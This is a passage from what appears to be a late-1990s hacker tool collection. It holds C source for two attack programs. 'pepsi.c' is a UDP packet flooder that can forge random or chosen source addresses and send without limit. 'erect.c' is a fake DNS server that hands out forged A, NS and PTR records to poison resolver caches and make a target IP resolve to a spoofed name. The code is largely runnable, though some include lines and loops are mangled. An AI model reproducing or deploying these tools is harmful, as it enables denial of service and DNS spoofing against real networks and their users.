strcpy(srchost, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; default: usage(argv[0]); } if (!dstport) dstport = DSTPORT; if (!srcport) srcport = SRCPORT; if (!psize) psize = PSIZE; if (!wait) wait = DWAIT; if (!argv[optind]) { puts("[*] Specify a target host, doof!"); exit(EXIT_FAILURE); } target = (char *) malloc(strlen(argv[optind])); if (!target) { puts("[*] Agh! Out of memory!"); perror("malloc"); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } /* [Send Packet] */ void main(int argc, char *argv[]) { int sen, i, unlim = 0, sec_check; char *packet; banner(); if (argc < 2) usage(argv[0]); parse_args(argc, argv); resolvedest(); printf("# Target Host : %s\n", target); printf("# Source Host : %s\n", (srchost && *srchost) ? srchost : "Random"); if (!numpacks) printf("# Number : Unliminted\n"); else printf("# Number : %d\n", numpacks); printf("# Packet Size : %d\n", psize); printf("# Wait Time : %d\n", wait); printf("# Dest Port : %d\n", dstport); printf("# Source Port : %d\n", srcport); sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip = (struct iphdr *) packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize); if (!numpacks) { unlim++; numpacks++; } if (srchost && *srchost) ip->saddr = resolve(srchost); ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize); for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) ip->saddr = rand(); if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts("[*] Error sending Packet"); perror("SendPacket"); exit(EXIT_FAILURE); } usleep(wait); } } ----------------pepsi.c ------------------erect.c /* #dioxide 1997 */ #include #include #include #include #include #include #include #include #define VERSION "Erect by Dioxide '97" #define MAXBUFSIZE 64*1024 #define DC_A 1 #define DC_NS 2 #define DC_CNAME 5 #define DC_SOA 6 #define DC_WKS 11 #define DC_PTR 12 #define DC_HINFO 13 #define DC_MINFO 14 #define DC_MX 15 #define DC_TXT 16 typedef struct { unsigned short id; unsigned char rd:1; /* recursion desired */ unsigned char tc:1; /* truncated message */ unsigned char aa:1; /* authoritive answer */ unsigned char opcode:4; /* purpose of message */ unsigned char qr:1; /* response flag */ unsigned char rcode:4; /* response code */ unsigned char unused:2; /* unused bits */ unsigned char pr:1; /* primary server required (non standard) */ unsigned char ra:1; /* recursion available */ unsigned short qdcount; unsigned short ancount; unsigned short nscount; unsigned short arcount; } dnsheaderrec; typedef struct { unsigned short labellen; char label[256]; unsigned short type; unsigned short class; unsigned long ttl; unsigned short buflen; char buf[256]; } dnsrrrec; typedef struct { dnsheaderrec h; dnsrrrec qd[20]; dnsrrrec an[20]; dnsrrrec ns[20]; dnsrrrec ar[20]; } dnsrec; char *dnssprintflabel(char *s, char *buf, char *p); char *dnsaddlabel(char *p, char *label); void dnstxt2rr(dnsrrrec *rr, char *b); void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...); char *dnsaddbuf(char *p, void *buf, short len); int dnsmakerawpacket(dnsrec *dns, char *buf); char *ip_to_arpa(char *ip); char *arparize(char *ip); char *get_token(char **src, char *token_sep); char *dnssprintflabel(char *s, char *buf, char *p) { unsigned short i,len; char *b=NULL; len=(unsigned short)*(p++); while (len) { while (len >= 0xC0) { if (!b) b=p+1; p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000); len=(unsigned short)*(p++); } for (i=0;ilabel,tok[0]); rr->labellen=p-rr->label; i=1; if (isdigit(*p)) rr->ttl=htonl(atol(tok[i++])); else rr->ttl=htonl(DEFAULTTTL); if (strcmp(tok[i],"IN") == 0) i++; rr->class=htons(1); if (strcmp(tok[i],"A") == 0) { i++; rr->type=htons(DC_A); if (i < numt) { inet_aton(tok[i],rr->buf); rr->buflen=4; } else rr->buflen=0; return; } if (strcmp(tok[i],"CNAME") == 0) { i++; rr->type=htons(DC_CNAME); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"NS") == 0) { i++; rr->type=htons(DC_NS); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"PTR") == 0) { i++; rr->type=htons(DC_PTR); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"MX") == 0) { i++; rr->type=htons(DC_MX); if (i < numt) { p=rr->buf; *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2; p=dnsaddlabel(p,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } } void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...) { int i; va_list va; dns->h.qdcount=htons(qdcount); dns->h.ancount=htons(ancount); dns->h.nscount=htons(nscount); dns->h.arcount=htons(arcount); dns->h.rcode=0; va_start(va, arcount); for (i=0;iqd[i],va_arg(va, char *)); for (i=0;ian[i],va_arg(va, char *)); for (i=0;ins[i],va_arg(va, char *)); for (i=0;iar[i],va_arg(va, char *)); va_end(va); } char *dnsaddbuf(char *p, void *buf, short len) { memcpy(p,buf,len); return(p+len); } int dnsmakerawpacket(dnsrec *dns, char *buf) { char *p; int i; unsigned short len; memcpy(buf,&dns->h,sizeof(dnsheaderrec)); p=buf+sizeof(dnsheaderrec); /********** Query ***********/ for (i=0;ih.qdcount);i++) { p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen); p=dnsaddbuf(p,&dns->qd[i].type,2); p=dnsaddbuf(p,&dns->qd[i].class,2); } /********** Answer ***********/ for (i=0;ih.ancount);i++) { p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen); p=dnsaddbuf(p,&dns->an[i].type,2); p=dnsaddbuf(p,&dns->an[i].class,2); p=dnsaddbuf(p,&dns->an[i].ttl,4); len=htons(dns->an[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen); } /********** Nameservers ************/ for (i=0;ih.nscount);i++) { p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen); p=dnsaddbuf(p,&dns->ns[i].type,2); p=dnsaddbuf(p,&dns->ns[i].class,2); p=dnsaddbuf(p,&dns->ns[i].ttl,4); len=htons(dns->ns[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen); } /********** Additional ************/ for (i=0;ih.arcount);i++) { p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen); p=dnsaddbuf(p,&dns->ar[i].type,2); p=dnsaddbuf(p,&dns->ar[i].class,2); p=dnsaddbuf(p,&dns->ar[i].ttl,4); len=htons(dns->ar[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen); } return(p-buf); } char *get_token(src, token_sep) char **src; char *token_sep; { char *tok; if (!(src && *src && **src)) return NULL; while(**src && strchr(token_sep, **src)) (*src)++; if(**src) tok = *src; else return NULL; *src = strpbrk(*src, token_sep); if (*src) { **src = '\0'; (*src)++; while(**src && strchr(token_sep, **src)) (*src)++; } else *src = ""; return tok; } char *ip_to_arpa(char *ip) { char *arpablock, *bit_a, *bit_b, *bit_c; char *oomf; arpablock = NULL; arpablock = (char *)malloc(64); oomf = (char *)malloc(64); strcpy(oomf, ip); bit_a = get_token(&oomf, "."); bit_b = get_token(&oomf, "."); bit_c = get_token(&oomf, "."); sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a); return arpablock; } char *arparize(char *ip) { char *arpa, *bit_a, *bit_b, *bit_c, *bit_d; char *oomf; arpa = NULL; arpa = (char *)malloc(64); oomf = (char *)malloc(64); strcpy(oomf, ip); bit_a = get_token(&oomf, "."); bit_b = get_token(&oomf, "."); bit_c = get_token(&oomf, "."); bit_d = oomf; sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a); return arpa; } void main(int argc, char *argv[]) { int sock, fromlen, numread, len, query; struct sockaddr_in sa, from, to; char *buf, *sendbuf; char *domainnamebuf; dnsheaderrec *dns; char *p; dnsrec dnsh; char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock; char *kludgeaddname, *kludgetargetblock; char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4; char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip; if (argc < 6) { printf("usage: %s \n", argv[0]); printf(" lookupname : EG cacher.dioxide.com, used to initiate false caching\n"); printf(" fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n"); printf(" fakensip : EG 205.164.89.1, IP of server to answer fake PTR's\n"); printf(" targetip : EG 200.3.4.10, IP of machine you want to spoof from\n"); printf(" spoofname : EG bollox.org, name you want targetip to resolve as\n"); exit(-1); } addname = argv[1]; fakens = argv[2]; fakensip = argv[3]; targetip = argv[4]; spoofname = argv[5]; targetblock = (char *)malloc(64); targetblock = ip_to_arpa(targetip); kludgetargetblock = (char *)malloc(64); strcpy(kludgetargetblock, targetblock); strcat(kludgetargetblock, "."); kludgeaddname = (char *)malloc(64); strcpy(kludgeaddname, addname); strcat(kludgeaddname, "."); arpatargetip = (char *)malloc(256); arpatargetip = arparize(targetip); klarpatargetip = (char *)malloc(64); strcpy(klarpatargetip, arpatargetip); strcat(klarpatargetip, "."); cache_line_1 = (char *)malloc(256); cache_line_2_1 = (char *)malloc(256); cache_line_2_2 = (char *)malloc(256); cache_line_3 = (char *)malloc(256); cache_line_4 = (char *)malloc(256); ptr_line_1 = (char *)malloc(256); ptr_line_2 = (char *)malloc(256); sprintf(cache_line_1, "%s IN A", addname); sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip); sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip); sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens); sprintf(cache_line_4, "%s IN A %s", fakens, fakensip); sprintf(ptr_line_1, "%s IN PTR", arpatargetip); sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname); printf("%s now running!\n", VERSION); printf(" lookupname : %s\n", addname); printf(" fakenshost : %s\n", fakens); printf(" fakensip : %s\n", fakensip); printf(" targetip : %s\n", targetip); printf(" spoofname : %s\n\n", spoofname); printf(" TARGETARPA : %s\n", arpatargetip); printf("Waiting for connect...\n"); if ((buf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(-1); } sa.sin_family = AF_INET; /* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */ sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(53); if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); exit(-1); } setvbuf(stdout,NULL,_IONBF,0); while (1) { fromlen=sizeof(from); if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) { perror("recvfrom"); continue; } /* Kludge to stop that damn router */ /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10")) continue;*/ dns=(dnsheaderrec *)buf; if (dns->qr) continue; p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]); query=ntohs(*(unsigned short *)p); printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query); if (strcasecmp(domainnamebuf,kludgeaddname) == 0) { dnsbuildpacket(&dnsh,1,2,1,1, cache_line_1, cache_line_2_1, cache_line_2_2, cache_line_3, cache_line_4); } else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) { dnsbuildpacket(&dnsh,1,1,0,0, ptr_line_1, ptr_line_2); } else { /* Error */ dnsh.h.rcode=5; strcat(domainnamebuf," IN A"); dnsbuildpacket(&dnsh,1,0,0,0, domainnamebuf); } dnsh.qd[0].type=htons(query); dnsh.h.id=((dnsheaderrec *)buf)->id; dnsh.h.qr=1; dnsh.h.aa=1; len=dnsmakerawpacket(&dnsh,sendbuf); to.sin_family=AF_INET; to.sin_addr.s_addr=from.sin_addr.s_addr; to.sin_port=from.sin_port; if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) { perror("sendto"); continue; } } } ----------------erect.c 1998 FW - Corporation <><><><><><><><><><><><><>